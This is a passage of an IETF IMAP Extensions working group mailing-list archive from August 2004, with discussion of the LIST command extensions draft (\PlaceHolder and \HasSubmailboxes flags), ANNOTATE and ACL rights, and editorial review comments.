
2. "<<the capability name will change
    upon publication as an RFC>>"

Please change this to a RFC EDITOR note.

3. "<<The following will be removed if the \PlaceHolder flag is also 
removed..."

Let's leave \PlaceHolder in place.  If anybody has specific suggestions 
for improving the explanations, please provide them.  If anybody really 
objects to \Placeholder, please provide either an alternative name or 
an alternative mechanism  to solve the problem.

To make the spec clearer, an example will be provided as per another 
comment.

4. "<<Note to the RFC editor: please update upon publication as above>>"

I think this can be left as is for the RFC editor to deal with.

5. "<<and
    support for it is a prerequisite for any future extensions that
    require specialized forms of the LIST command>>"

For this one, remove << and >> and leave the sentence fragment in place.

6. "<<We probably need an example to illustrate this>>"

Agreed.  please put one in or refer to a later example that illustrates 
this.

7. "<<Note, that the SUBSCRIBED match option implies the SUBSCRIBED
           return option (see below).>>"
8. "<<Note, that the REMOTE match option implies the REMOTE
           return option (see below).>>"

I think for both of these, the comment markers << and >> can be removed 
and the sentences remain to help readers.

9. "<<mailboxes?>>"
10. "<<mailbox>>"

Shouldn't this be "folders/folder"?  Take a stab at it, at any rate, 
remove the question mark and << >>.

11. "<<Can we say that the output is a superset
    of the output in the previous example? What about nonexistent
    "Fruit/Peach"?>>"

Obviously it's not a superset.  Why not remove this comment, text 
included.

12. "<<S: * LIST (\Subscribed \NonExistent) "/" "Fruit/Peach">>"

This is a problem -- commented text that appears in the middle of an 
example.  Should this line appear or not?  This probably also requires 
clarifying text up front once the authors make a decision, to explain 
why that's the only decision that will be possible to implementors of 
the spec.

13. " <<Implied return options(s) if the option type is MATCH?>>"

I don't know about this one -- authors, please make a recommendation.  
I get the feeling that implied return options don't need to appear in 
the registration template but that extra information may need to appear 
elsewhere.

Lisa

To: Timo Sirainen <[email-masked]>
Cc: IMAP Extensions WG <[email-masked]>
From: Philip Guenther <[email-masked]>
Subject: Re: New revision of draft-ietf-imapext-list-extensions 
Date: Wed, 18 Aug 2004 15:17:30 -0700
Sender: [email-masked]

Timo Sirainen <[email-masked]> writes:
>On 18.8.2004, at 23:40, Philip Guenther wrote:
...
>> When there are no selection options like SUBSCRIBED, then you can
>> derive the CHILDREN flags from the SUBMAILBOXES flags:
>> - \HasSubmailboxes implies \HasChildren
>> - \PlaceHolder implies \HasChildren and \Nonexistent
>
>I thought \PlaceHolder would never appear then?

Consider a system where the mailbox "foo/bar" can exist without "foo"
existing (this can happen under Cyrus, for example).
	tag LIST (SUBMAILBOXES) "" %
should include
	* LIST (\PlaceHolder \NonExistent) "/" "foo"
among its responses.

>> - having neither \HasSubmailboxes nor \PlaceHolder implies 
>> \HasNoChildren
>
>If a subscribed mailbox has non-subscribed children, I don't think 
>\HasSubmailboxes is supposed to be sent then? In that case it doesn't 
>imply \HasNoChildren.

Correct.  My statement was in the context of the "When there are no
selection options like SUBSCRIBED" constraint.

>Maybe the \HasSubmailboxes should rather be named \HasSubMatches or 
>something similiar?

<shrug>
I'm not particularly attached to the names, though \HasSubMatches may
make it seem the submailbox in question matches the _pattern_ instead of
the selection criteria.
<shrug>

>How well in general does LISTEXT allow server to send LIST replies to 
>client unilaterally?

It doesn't affect it all: the server can always send whatever responses
it wants, though they better be "true" in some sense.  Rob raised this
before, which led to the addition of the \Subscribed and \Remote flags
to eliminate the ambiguity that can be created.  (See the list archives
for an example.)

>For example to update \Marked, \UnMarked or 
>\Subscribed flags, or simply to announce existance of new mailbox? At 
>least any assumptions about the meaning of lack of flags seem to break 
>then.

Yes and no.  Suppose you receive one or more LIST responses for a
mailbox between the time you send a LIST command and you get the tagged
OK.  Responses for mailboxes that don't match the reference+pattern
arguments were unsolicited, so you can't draw a conclusion from the
absence of flags for them.  Similarly, if the LIST had the SUBSCRIBED
option, then responses that don't have the \Subscribed flag were
unsolicited.  For the rest of responses, at least one of them for each
mailbox has the right flags, so the union of the flags returned for a
given mailbox should be correct for drawing conclusions about it not
having any children, etc.

Philip Guenther

Cc: IMAP Extensions WG <[email-masked]>
From: Timo Sirainen <[email-masked]>
Subject: Re: New revision of draft-ietf-imapext-list-extensions 
Date: Thu, 19 Aug 2004 00:27:46 +0300
To: Philip Guenther <[email-masked]>
Sender: [email-masked]

--Apple-Mail-12-740633111
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII; format=flowed

On 18.8.2004, at 23:40, Philip Guenther wrote:

> This is the key difference between SUBMAILBOXES and CHILDREN options:
> the former tells you whether there are children mailboxes that match
> the selection criteria, the latter tells you whether there are
> children mailboxes that simply _exist_.

OK, this makes sense now. I think the draft text needs to be clarified 
a bit, at least added something about the children and submailboxes 
difference.

Also the term "selection criteria" doesn't seem to be explained 
anywhere in the draft.

> When there are no selection options like SUBSCRIBED, then you can
> derive the CHILDREN flags from the SUBMAILBOXES flags:
> - \HasSubmailboxes implies \HasChildren
> - \PlaceHolder implies \HasChildren and \Nonexistent

I thought \PlaceHolder would never appear then?

> - having neither \HasSubmailboxes nor \PlaceHolder implies 
> \HasNoChildren

If a subscribed mailbox has non-subscribed children, I don't think 
\HasSubmailboxes is supposed to be sent then? In that case it doesn't 
imply \HasNoChildren.

Maybe the \HasSubmailboxes should rather be named \HasSubMatches or 
something similiar?

How well in general does LISTEXT allow server to send LIST replies to 
client unilaterally? For example to update \Marked, \UnMarked or 
\Subscribed flags, or simply to announce existance of new mailbox? At 
least any assumptions about the meaning of lack of flags seem to break 
then.

--Apple-Mail-12-740633111
content-type: application/pgp-signature; x-mac-type=70674453;
	name=PGP.sig
content-description: This is a digitally signed message part
content-disposition: inline; filename=PGP.sig
content-transfer-encoding: 7bit

--Apple-Mail-12-740633111--

To: Timo Sirainen <[email-masked]>
Cc: IMAP Extensions WG <[email-masked]>
From: Philip Guenther <[email-masked]>
Subject: Re: New revision of draft-ietf-imapext-list-extensions 
Date: Wed, 18 Aug 2004 13:40:42 -0700
Sender: [email-masked]

Timo Sirainen <[email-masked]> writes:
>On 17.8.2004, at 15:12, Alexey Melnikov wrote:
>>> However what's the point of \HasSubmailboxes? Looks like the only 
>>> time it's returned is when doing LIST *,
>>
>> No, it will also be returned for LIST %.
>> \PlaceHolder says that the mailbox doesn't match the selection 
>> option(s), but one of the children might.
>
>This I understand because it's required for LIST (subscribed) % to work 
>in a useful way.
>
>> \HasSubmailboxes says that the mailbox does match the selection 
>> option(s) and one of the children might.
>
>But this I still don't. You mean that LIST % will return 
>\HasSubmailboxes for all mailboxes that have children?

No.  The mailbox has to
a) match the selection criteria (e.g., be subscribed), and
b) have a child that matches the selection criteria.  That it
   simply has a child mailbox is not sufficient.

This is the key difference between SUBMAILBOXES and CHILDREN options:
the former tells you whether there are children mailboxes that match
the selection criteria, the latter tells you whether there are
children mailboxes that simply _exist_.

When there are no selection options like SUBSCRIBED, then you can
derive the CHILDREN flags from the SUBMAILBOXES flags:
- \HasSubmailboxes implies \HasChildren
- \PlaceHolder implies \HasChildren and \Nonexistent
- having neither \HasSubmailboxes nor \PlaceHolder implies \HasNoChildren

When SUBSCRIBED or a similar option is involved, they may behave
completely differently; for example, one mailbox may have a child
that isn't subscribed (\HasChildren but not \HasSubMailboxes or
\PlaceHolder), while another may 'have' a subscribed child that
doens't exist any more (\HasSubMailboxes or \PlaceHolder, but not
\HasChildren).

To back track, \HasSubMailboxes came about after I asked what a
server should do when it has at least one child mailbox that matches
the selection criteria (say, SUBSCRIBED) but that doesn't match the
pattern, for the case when the mailbox also matches the selection
criteria.  Before \HasSubMailboxes, only two answers made sense, though
they both were ugly:

1) don't tell the client that there's a selected child at all
	* LIST () "/" foo

2) send *two* reponses for the mailboxes
	* LIST () "/" foo
	* LIST (\PlaceHolder) "/" foo

If (1) is acceptable, then a client that wants to display the
subscribed mailbox hierarchy level by level has to manually check
for subscribed children below each subscribed mailbox.

It has been argued that (2) is the correct answer for this situation
with LSUB.  In off-list mail with Alexey, I questioned the wisdom
of designing a requirement that a server send two replies for a
single mailbox.  After some slogging back and forth, \HasSubMailboxes
emerged.  That part of the discussion should probably have migrated
back to the list after the initial flailing around...

>Why? I don't see 
>why % would match child mailboxes, isn't the whole point of it not to? 

It sounds like you're mixing the pattern matching of the names into
the selection criteria.  The definitions of \HasSubmailboxes and
\PlaceHolder depend on keeping them separate.

>Or do you mean that % would also match for child mailboxes? So for 
>example:
>
>LIST *
>* LIST (\HasSubmailboxes) foo
>* LIST () foo/bar

Yes. (Well, you're leaving out the hierarchy delimiter...)

>LIST %
>* LIST (\HasSubmailboxes) foo

Yes.

>LIST %o
>* LIST () foo

No, that should return
	* LIST (\HasSubmailboxes) "/" foo
too: "foo" has a child mailbox that matches the selection criteria
(by existing).  The change in pattern didn't affect which mailboxes
were matched, why would you think anything had changed?

Philip Guenther

Subject: Re: New revision of draft-ietf-imapext-list-extensions
From: Timo Sirainen <[email-masked]>
To: Alexey Melnikov <[email-masked]>
Cc: IMAP Extensions WG <[email-masked]>
Date: Wed, 18 Aug 2004 21:14:41 +0300
Sender: [email-masked]

--=-Vr62D9nes8XgKzM59a7y
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

On Wed, 2004-08-18 at 11:42 +0100, Alexey Melnikov wrote:
> >> \HasSubmailboxes says that the mailbox does match the selection=20
> >> option(s) and one of the children might.
> >
> > But this I still don't. You mean that LIST % will return=20
> > \HasSubmailboxes for all mailboxes that have children?
>=20
> It must if the CHILDREN option was also specified, but it may even=20
> without it (if this information is readily available on the server).

\HasSubmailboxes isn't \HasChildren.

> > Why? I don't see why % would match child mailboxes, isn't the whole=20
> > point of it not to?=20
>=20
> It will not match a child mailbox, but it will return information about=20
> them.
> The assumption here is that the client is not doing LIST "" *, as it=20
> might return too many responses. Instead the client is doing LIST "" %,=20
> then for each mailbox  <foo> marked with \HasChildren the client will=20
> try LIST "" <foo>/%.

Yes, \HasChildren is useful for that. So why also have \HasSubmailboxes?

Could you give some example when \HasSubmailboxes is useful for client,
but \HasChildren isn't enough?

To me they seem very much the same thing except \HasSubmailboxes has
some very strange explanation when it's supposed to be sent.

--=-Vr62D9nes8XgKzM59a7y
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

--=-Vr62D9nes8XgKzM59a7y--

Date: Wed, 18 Aug 2004 11:42:46 +0100
From: Alexey Melnikov <[email-masked]>
To: Timo Sirainen <[email-masked]>
CC: IMAP Extensions WG <[email-masked]>
Subject: Re: New revision of draft-ietf-imapext-list-extensions
Sender: [email-masked]

Timo Sirainen wrote:

> On 17.8.2004, at 15:12, Alexey Melnikov wrote:
>
>>> However what's the point of \HasSubmailboxes? Looks like the only 
>>> time it's returned is when doing LIST *,
>>
>> No, it will also be returned for LIST %.
>> \PlaceHolder says that the mailbox doesn't match the selection 
>> option(s), but one of the children might.
>
> This I understand because it's required for LIST (subscribed) % to 
> work in a useful way.
>
>> \HasSubmailboxes says that the mailbox does match the selection 
>> option(s) and one of the children might.
>
> But this I still don't. You mean that LIST % will return 
> \HasSubmailboxes for all mailboxes that have children?

It must if the CHILDREN option was also specified, but it may even 
without it (if this information is readily available on the server).

> Why? I don't see why % would match child mailboxes, isn't the whole 
> point of it not to? 

It will not match a child mailbox, but it will return information about 
them.
The assumption here is that the client is not doing LIST "" *, as it 
might return too many responses. Instead the client is doing LIST "" %, 
then for each mailbox  <foo> marked with \HasChildren the client will 
try LIST "" <foo>/%.

> Or do you mean that % would also match for child mailboxes? So for 
> example:
>
> LIST *
> * LIST (\HasSubmailboxes) foo
> * LIST () foo/bar
>
> LIST %
> * LIST (\HasSubmailboxes) foo
>
> LIST %o
> * LIST () foo 

Yes.

> I don't really understand that either.

Cc: IMAP Extensions WG <[email-masked]>
From: Timo Sirainen <[email-masked]>
Subject: Re: New revision of draft-ietf-imapext-list-extensions
Date: Tue, 17 Aug 2004 23:59:40 +0300
To: Alexey Melnikov <[email-masked]>
Sender: [email-masked]

--Apple-Mail-8-652547114
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII; format=flowed

On 17.8.2004, at 15:12, Alexey Melnikov wrote:

>> However what's the point of \HasSubmailboxes? Looks like the only 
>> time it's returned is when doing LIST *,
>
> No, it will also be returned for LIST %.
> \PlaceHolder says that the mailbox doesn't match the selection 
> option(s), but one of the children might.

This I understand because it's required for LIST (subscribed) % to work 
in a useful way.

> \HasSubmailboxes says that the mailbox does match the selection 
> option(s) and one of the children might.

But this I still don't. You mean that LIST % will return 
\HasSubmailboxes for all mailboxes that have children? Why? I don't see 
why % would match child mailboxes, isn't the whole point of it not to? 
Or do you mean that % would also match for child mailboxes? So for 
example:

LIST *
* LIST (\HasSubmailboxes) foo
* LIST () foo/bar

LIST %
* LIST (\HasSubmailboxes) foo

LIST %o
* LIST () foo

I don't really understand that either.

--Apple-Mail-8-652547114
content-type: application/pgp-signature; x-mac-type=70674453;
	name=PGP.sig
content-description: This is a digitally signed message part
content-disposition: inline; filename=PGP.sig
content-transfer-encoding: 7bit

--Apple-Mail-8-652547114--

Date: Tue, 17 Aug 2004 13:12:06 +0100
From: Alexey Melnikov <[email-masked]>
To: Timo Sirainen <[email-masked]>
CC: IMAP Extensions WG <[email-masked]>
Subject: Re: New revision of draft-ietf-imapext-list-extensions
Sender: [email-masked]

Timo Sirainen wrote:

> On 16.8.2004, at 23:06, Lisa Dusseault wrote:
>
>> Did somebody have a proposal for what to do about \PlaceHolder?  
>> Without a preferred counter-proposal, we'll probably go to Last Call 
>> with the placeHolder stuff as-is.
>
> I don't remember seeing discussion here about \PlaceHolder. Seems 
> useful to me.
>
> However what's the point of \HasSubmailboxes? Looks like the only time 
> it's returned is when doing LIST *,

No, it will also be returned for LIST %.
\PlaceHolder says that the mailbox doesn't match the selection 
option(s), but one of the children might.
\HasSubmailboxes says that the mailbox does match the selection 
option(s) and one of the children might.

> and in that case the LIST reply for the submailbox itself is also 
> returned.

Not for LIST "" "%".

From: Timo Sirainen <[email-masked]>
Subject: Re: New revision of draft-ietf-imapext-list-extensions
Date: Tue, 17 Aug 2004 14:03:30 +0300
To: IMAP Extensions WG <[email-masked]>
Sender: [email-masked]

--Apple-Mail-5-616777331
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII; format=flowed

On 16.8.2004, at 23:06, Lisa Dusseault wrote:

> Did somebody have a proposal for what to do about \PlaceHolder?  
> Without a preferred counter-proposal, we'll probably go to Last Call 
> with the placeHolder stuff as-is.

I don't remember seeing discussion here about \PlaceHolder. Seems 
useful to me.

However what's the point of \HasSubmailboxes? Looks like the only time 
it's returned is when doing LIST *, and in that case the LIST reply for 
the submailbox itself is also returned.

--Apple-Mail-5-616777331
content-type: application/pgp-signature; x-mac-type=70674453;
	name=PGP.sig
content-description: This is a digitally signed message part
content-disposition: inline; filename=PGP.sig
content-transfer-encoding: 7bit

--Apple-Mail-5-616777331--

Date: Tue, 17 Aug 2004 01:30:00 +0100
From: Alexey Melnikov <[email-masked]>
To: Timo Sirainen <[email-masked]>
CC: IMAP Extensions WG <[email-masked]>
Subject: Re: ANNOTATE and ACL interaction
Sender: [email-masked]

Timo Sirainen wrote:

>On Thu, 2004-08-12 at 17:38 +0100, Alexey Melnikov wrote:
>  
>
>>a). 'w' right controls writability of shared annotations only. If this
>>is combined with the assumption A), this means that adding a separate
>>right just for controlling private annotations doesn't make much sense:
>>who really cares that you've set your private version of /altsubject?
>>The most damage the user can do it to run out of disk quota.
>>
>>So, in this case the 'w' right controls shared annotations (and will
>>result in READ-WRITE response code as described in section 9.2 of the
>>draft-ietf-imapext-acl-10.txt). No right is required to store private
>>annotations (the ability to open a mailbox, i.e. the 'r' right, is
>>sufficient). Larry has suggested this behavior before.
>>    
>>
>
>What about some public anonymous accounts where you don't want it?
>
Good point.

>Server should just return "NO [ANNOTATE TOOMANY]" or TOOBIG I guess?
>
Just returning NO would be fine, unless we want to be specific which 
response code should be used.

>Other than in that case, I think user should always be free to set
>private annotations where he wants.
>
Ok. We can add a note saying that an ANNOTATE server may choose to 
disallow storage of private annotations for some users, e.g. "anonymous".

Alexey

From: Lisa Dusseault <[email-masked]>
Subject: Re: New revision of draft-ietf-imapext-list-extensions
Date: Mon, 16 Aug 2004 13:06:13 -0700
To: IMAP Extensions WG <[email-masked]>
Sender: [email-masked]

Did somebody have a proposal for what to do about \PlaceHolder?  
Without a preferred counter-proposal, we'll probably go to Last Call 
with the placeHolder stuff as-is.

Lisa

On Aug 15, 2004, at 3:40 PM, Alexey Melnikov wrote:

> <<The following will be removed if the \PlaceHolder flag is also 
> removed:
>    2) There are only two reasons for including a matching mailbox name
>       in the responses to the LIST command:
>
>       a) the mailbox name also satisfies the selection criteria;
>
>       b) the mailbox name has at least one child mailbox that satisfies
>          the selection criteria, but doesn't match the canonical LIST
>          pattern. For more information on this case see the 
> \PlaceHolder
>          flag description in Section 3.

To: [email-masked]
Cc: [email-masked]
From: [email-masked]
Subject: I-D ACTION:draft-ietf-imapext-list-extensions-08.txt
Date: Mon, 16 Aug 2004 15:18:57 -0400
Sender: [email-masked]

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Internet Message Access Protocol Extension Working Group of the IETF.

	Title		: IMAP4 LIST Command Extensions
	Author(s)	: B. Leiba, A. Melnikov
	Filename	: draft-ietf-imapext-list-extensions-08.txt
	Pages		: 0
	Date		: 2004-8-16
	
IMAP4 has two commands for listing mailboxes: LIST and LSUB.  As we
have added extensions that have required specialized lists (see
[MboxRefer] for an example) we have had to expand the number of list
commands, since each extension must add its function to both LIST and
LSUB, and these commands are not, as they are defined, extensible.
If we've needed the extensions to work together, we've had to add a
set of commands to mix the different options, the set increasing in
size with each new extension.  This document describes an extension
to the base LIST command that will allow these additions to be done
with mutually compatible options to the LIST command, avoiding the
exponential increase in specialized list commands.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-imapext-list-extensions-08.txt

To remove yourself from the I-D Announcement list, send a message to 
[email-masked] with the word unsubscribe in the body of the message.  
You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce 
to change your subscription settings.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-imapext-list-extensions-08.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt

Internet-Drafts can also be obtained by e-mail.

Send a message to:
	[email-masked].
In the body type:
	"FILE /internet-drafts/draft-ietf-imapext-list-extensions-08.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.

Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[email-masked]"

Content-Type: text/plain
Content-ID:	<[email-masked]>

ENCODING mime
FILE /internet-drafts/draft-ietf-imapext-list-extensions-08.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-imapext-list-extensions-08.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[email-masked]>

--OtherAccess--

--NextPart--

Date: Mon, 16 Aug 2004 11:29:05 +0900
To: [email-masked]
From: Martin Duerst <[email-masked]>
Subject: new mailing list: [email-masked]
Sender: [email-masked]

Dear IMAP experts,

After discussion with Chris Newman, author of the Internet Draft
http://www.ietf.org/internet-drafts/draft-newman-i18n-comparator-02.txt,
we have created a new mailing list, [email-masked],
for discussion (and hopefully completion) of this work on identifiers
for collations. This mailing list replaces an earlier one hosted at
a different place.

If you want to contribute or are interested in this work, please
subscribe by sending mail to [email-masked]
(capitalization irrelevant) with "subscribe" (without the quotes)
in the subject. The archives of this mailing list can be found at
http://lists.w3.org/Archives/Public/public-ietf-collation/,
and are publicly accessible.

I expect discussion to begin no earlier than Monday, August 23, to
allow everybody interested to subscribe.

Regards,    Martin.

Subject: Re: ANNOTATE and ACL interaction
From: Timo Sirainen <[email-masked]>
To: Alexey Melnikov <[email-masked]>
Cc: IMAP Extensions WG <[email-masked]>
Date: Fri, 13 Aug 2004 16:27:07 +0300
Sender: [email-masked]

--=-t+1YSF9UoMZWXD4W00Hk
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

On Thu, 2004-08-12 at 17:38 +0100, Alexey Melnikov wrote:
> a). 'w' right controls writability of shared annotations only. If this
> is combined with the assumption A), this means that adding a separate
> right just for controlling private annotations doesn't make much sense:
> who really cares that you've set your private version of /altsubject?
> The most damage the user can do it to run out of disk quota.
>=20
> So, in this case the 'w' right controls shared annotations (and will
> result in READ-WRITE response code as described in section 9.2 of the
> draft-ietf-imapext-acl-10.txt). No right is required to store private
> annotations (the ability to open a mailbox, i.e. the 'r' right, is
> sufficient). Larry has suggested this behavior before.

What about some public anonymous accounts where you don't want it?
Server should just return "NO [ANNOTATE TOOMANY]" or TOOBIG I guess?

Other than in that case, I think user should always be free to set
private annotations where he wants.

--=-t+1YSF9UoMZWXD4W00Hk
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

--=-t+1YSF9UoMZWXD4W00Hk--

Date: Thu, 12 Aug 2004 17:38:16 +0100
From: Alexey Melnikov <[email-masked]>
To: IMAP Extensions WG <[email-masked]>
Subject: ANNOTATE and ACL interaction
Sender: [email-masked]

[Resending, as I've used a wrong email address]

Let me try to iterate through this again and give my suggestions:

1). A client should be able to fetch private and shared annotations if
it can SELECT/EXAMINE mailbox (whether it was opened READ-ONLY or
READ-WRITE).

2). Writability of different annotations is a more difficult question.
Let me try to propose several solutions and give my comments.

Assumptions:
A). Ability to change shared annotations is an extra privilege to the
ability to change private annotations, as there might be a security risk
if a user is allowed to change shared annotations.

B). A right required to change shared annotations is different from the
right required to change private annotations.

C). ACL 'w' right currently controls writability of all flags (with
exception of \Seen and \Deleted, which will be ignored in the following
discussion). It makes sense that the 'w' right also controls one of the
following:
I). writability of shared annotations only
II). writability of private annotations only
III). both.

The assumptions result in the following cases:

a). 'w' right controls writability of shared annotations only. If this
is combined with the assumption A), this means that adding a separate
right just for controlling private annotations doesn't make much sense:
who really cares that you've set your private version of /altsubject?
The most damage the user can do it to run out of disk quota.

So, in this case the 'w' right controls shared annotations (and will
result in READ-WRITE response code as described in section 9.2 of the
draft-ietf-imapext-acl-10.txt). No right is required to store private
annotations (the ability to open a mailbox, i.e. the 'r' right, is
sufficient). Larry has suggested this behavior before.

b). 'w' right controls writability of private annotations only. If this
is combined with the assumption A), this means that writability of
shared annotations requires a separate right, let's call it the 'H'
right for now.

The section 9.2 of the draft-ietf-imapext-acl-10.txt says that in this
case the 'w' right doesn't control READ-WRITE state, but the new 'H'
right does.
However the 'w' right controls writability of all IMAP flags (ignoring
\Seen and \Deleted), whether they are shared or private.

c). 'w' right controls writability of both private and shared
annotations. If this is combined with the assumption A), this means that
writability of shared annotations requires a separate right, let's call
it the 'H' right for now.
This also means that writability of private annotations requires a
separate right, let's call it the 'V' right for now. The 'w' right is
'H'+'V'. (This is similar to the 'd' right which is 't'+'e'+'x').

The section 9.2 of the draft-ietf-imapext-acl-10.txt says that in this
case the 'H' right (and thus the 'w' right) controls READ-WRITE state.
============
 From the 3 cases mentioned above I don't like b), as it suggest that
the effect of the 'w' right is different for flags and annotations,
which is bad.
It might also mean that on existing ACL servers users have to update all
ACLs to allow for storing of shared annotations.
The case c). requires more modifications to the ACL document. So unless
somebody can give an argument that it is important to be able to
disallow a user to be able to store private annotations I would slightly
favor a) over c).

Comments?

Alexey

Date: Thu, 12 Aug 2004 17:36:16 +0100
From: Alexey Melnikov <[email-masked]>
To: IMAP Extensions WG <[email-masked]>
Subject: ANNOTATE and ACL interaction
Sender: [email-masked]

Let me try to iterate through this again and give my suggestions:

1). A client should be able to fetch private and shared annotations if 
it can SELECT/EXAMINE mailbox (whether it was opened READ-ONLY or 
READ-WRITE).

2). Writability of different annotations is a more difficult question. 
Let me try to propose several solutions and give my comments.

Assumptions:
A). Ability to change shared annotations is an extra privilege to the 
ability to change private annotations, as there might be a security risk 
if a user is allowed to change shared annotations.

B). A right required to change shared annotations is different from the 
right required to change private annotations.

C). ACL 'w' right currently controls writability of all flags (with 
exception of \Seen and \Deleted, which will be ignored in the following 
discussion). It makes sense that the 'w' right also controls one of the 
following:
I). writability of shared annotations only
II). writability of private annotations only
III). both.

The assumptions result in the following cases:

a). 'w' right controls writability of shared annotations only. If this 
is combined with the assumption A), this means that adding a separate 
right just for controlling private annotations doesn't make much sense: 
who really cares that you've set your private version of /altsubject? 
The most damage the user can do it to run out of disk quota.

So, in this case the 'w' right controls shared annotations (and will 
result in READ-WRITE response code as described in section 9.2 of the 
draft-ietf-imapext-acl-10.txt). No right is required to store private 
annotations (the ability to open a mailbox, i.e. the 'r' right, is 
sufficient). Larry has suggested this behavior before.

b). 'w' right controls writability of private annotations only. If this 
is combined with the assumption A), this means that writability of 
shared annotations requires a separate right, let's call it the 'H' 
right for now.

The section 9.2 of the draft-ietf-imapext-acl-10.txt says that in this 
case the 'w' right doesn't control READ-WRITE state, but the new 'H' 
right does.
However the 'w' right controls writability of all IMAP flags (ignoring 
\Seen and \Deleted), whether they are shared or private.

c). 'w' right controls writability of both private and shared 
annotations. If this is combined with the assumption A), this means that 
writability of shared annotations requires a separate right, let's call 
it the 'H' right for now.
This also means that writability of private annotations requires a 
separate right, let's call it the 'V' right for now. The 'w' right is 
'H'+'V'. (This is similar to the 'd' right which is 't'+'e'+'x').

The section 9.2 of the draft-ietf-imapext-acl-10.txt says that in this 
case the 'H' right (and thus the 'w' right) controls READ-WRITE state.
============
 From the 3 cases mentioned above I don't like b), as it suggest that 
the effect of the 'w' right is different for flags and annotations, 
which is bad.
It might also mean that on existing ACL servers users have to update all 
ACLs to allow for storing of shared annotations.
The case c). requires more modifications to the ACL document. So unless 
somebody can give an argument that it is important to be able to 
disallow a user to be able to store private annotations I would slightly 
favor a) over c).

Comments?

Alexey

Date: Thu, 12 Aug 2004 17:20:06 +0100
From: Alexey Melnikov <[email-masked]>
To: Cyrus Daboo <[email-masked]>
CC: Lisa Dusseault <[email-masked]>, IMAP Extensions WG <[email-masked]>
Subject: ANNOTATE (was Re: New IMAPEXT WG Charter proposal)
Sender: [email-masked]

Cyrus Daboo wrote:

> Hi Lisa,
>
> --On Monday, August 9, 2004 10:53 AM -0700 Lisa Dusseault 
> <[email-masked]> wrote:
>
>> Philip suggested allowing ourselves slightly longer to actually get
>> annotate and listext done, but since this is what we came up with in the
>> room I said he should propose that on the list once I posted this to the
>> list...
>
>
> The only outstanding issue with ANNOTATE is what to do about flags. 
> The problem is the ambiguity of per-user vs shared flag/keyword 
> mapping based on the fact that different servers treat those in 
> different ways. Possible courses of action are:
>
> 1) Remove read and write access for IMAP flags and keywords in 
> ANNOTATE. This eliminates the problem altogether. One issue with this 
> is that the current CONDSTORE extension in RFC Editor queue does 
> depend on at least read access to flags in annotate. If we changed 
> ANNOTATE in this way we would have to 'recall' CONDSTORE - I am not 
> sure what mechanisms exist to do that... 

I really-really-really don't like this.

If we end up going this route my preference would be to remove CONDSTORE 
dependencies on SORT and ANNOTATE.

> 2) Only allow read access to IMAP flags and keywords. There are two 
> possibilities for this:
>
>    - The .priv and .shared values are always the same representing the 
> base IMAP state. 

Although this is ugly, this might work. I think the WG agrees that the 
client usually don't care whether a flag is implemented as shared or 
private.

>    - One of .priv or .shared is set to 'NIL', whilst the other 
> represents the base IMAP state. The server will use the appropriate 
> .priv or .shared based on the actual per-user or shared behaviour of 
> the base flag/keyword. 

Although this reflect the true server state, this seems overly complex.

> 3) Allow both read and write access as currently defined, but clearly 
> outline how these map to per-user and shared flags.
>
> One possibility for (3) that we did not consider before is to add a 
> new attribute to the /flags hierarchy that would allow the server to 
> indicate which of the .priv or .shared values map to the base IMAP 
> flag/keyword. e.g. we require a 'default' attribute on each /flag 
> entry with values 'priv' or 'shared' to indicate which annotation is 
> tied to the base value. A server that supports ACL and has the 's' bit 
> off would use 'shared' for the 'default' attribute on /flags/\seen, or 
> if the 's' bit is on it would use 'priv' for the new attribute. 

I had a similar idea in mind: the server returns SHAREDFLAGS response on 
SELECT/EXAMINE. I had some text about SHAREDFLAGS in one of my drafts, 
but it got dropped because I wasn't sure if it was that useful. Now we 
seem to agree that it is.

Anyway, this solution bring back the problem that we've discussed in San 
Diego: inconsistency between rights that control changes to different 
IMAP flags and rights which control changes to annotations.

> Another approach would be to do the same thing but using ANNOTATEMORE 
> to enumerate the flags/keywords for a specific mailbox and indicate 
> how the base state maps to .priv and .shared. This makes sense in that 
> this state is a per-mailbox attribute rather than a per-message attribute.

Yes.

> However this adds a probably unwanted dependency on ANNOTATEMORE. 

Yes, this is an issue and we probably don't want ANNOTATEMORE dependency.

I think there is another possible solution:
4). Reserve /flags hierarchy for CONDSTORE and don't allow fetches or 
changes to IMAP flags through ANNOTATION interface.
The reserved hierarchy will only be used in the SEARCH command as 
described in the CONDSTORE document.

To summarize, I would prefer either 2a) or 4).

Alexey

Cc: "'IMAP Extensions WG'" <[email-masked]>, "'Alexey Melnikov'" <[email-masked]>
From: Lisa Dusseault <[email-masked]>
Subject: Re: New IMAPEXT WG Charter proposal
Date: Tue, 10 Aug 2004 11:47:44 -0700
To: "Scott Hollenbeck" <[email-masked]>
Sender: [email-masked]

I wanted to propose clarifying text because I felt the charter text was 
so minimal as to be quite ambiguous to a newcomer (though meaningful to 
